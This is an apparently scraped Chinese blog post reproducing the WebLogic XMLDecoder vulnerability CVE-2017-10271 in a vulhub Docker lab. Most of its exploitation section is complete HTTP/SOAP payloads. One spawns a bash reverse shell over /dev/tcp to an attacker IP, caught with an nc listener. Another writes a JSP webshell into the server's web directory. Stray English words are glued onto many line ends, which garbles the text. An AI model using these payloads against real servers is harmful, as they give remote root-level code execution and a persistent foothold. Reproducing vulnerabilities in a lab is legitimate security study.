Weblogic(CVE-2017-10271)漏洞復現

環境部署

首先下載vulhub項目地址:https://github.com/vulhub/vulhub java

進入須要部署的系統環境:git

1 root@test-virtual-machine:/home/test# cd vulhub-master/weblogic/CVE-2017-10271/

使用docker編譯啓動(出現done表示已經啓動完成)github

root@test-virtual-machine:/home/test/桌面/vulhub-master/weblogic/CVE-2017-10271# docker-compose up -d

建議提早給docker配置鏡像加速器(方法在另外一篇博客)web

訪問`http://your-ip:7001/`便可看到一個404頁面,說明weblogic已成功啓動。docker

 

漏洞利用

一、初步判斷:訪問 http://192.168.12.147:7001/wls-wsat/CoordinatorPortType11,存在下圖則說明可能存在漏洞shell

二、構造POST包進行測試,反彈shellbash

發送以下數據包(注意其中反彈shell的語句,須要進行編碼,不然解析XML的時候將出現格式錯誤):

```
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/接收shell的ip/21 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 

使用nc 監聽 21端口jsp

nc -l -p 21

 

成功反彈shell獲得root權限tcp

寫入一句話木馬ide

 1 POST /wls-wsat/CoordinatorPortType HTTP/1.1
 2 Host: you-ip:7001
 3 Accept-Encoding: gzip, deflate
 4 Accept: */*
 5 Accept-Language: en
 6 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
 7 Connection: close
 8 Content-Type: text/xml
 9 Content-Length: 638
10 
11 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
12     <soapenv:Header>
13     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
14     <java><java version="1.4.0" class="java.beans.XMLDecoder">
15     <object class="java.io.PrintWriter"> 
16     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
17     <void method="println"><string>
18     <![CDATA[
19 <% out.print("test"); %>
20     ]]>
21     </string>
22     </void>
23     <void method="close"/>
24     </object></java></java>
25     </work:WorkContext>
26     </soapenv:Header>
27     <soapenv:Body/>
28 </soapenv:Envelope>

 使用brup構造發包:

訪問shell

http://192.168.1.15:7001/bea_wls_internal/test.jsp

相關文章
相關標籤/搜索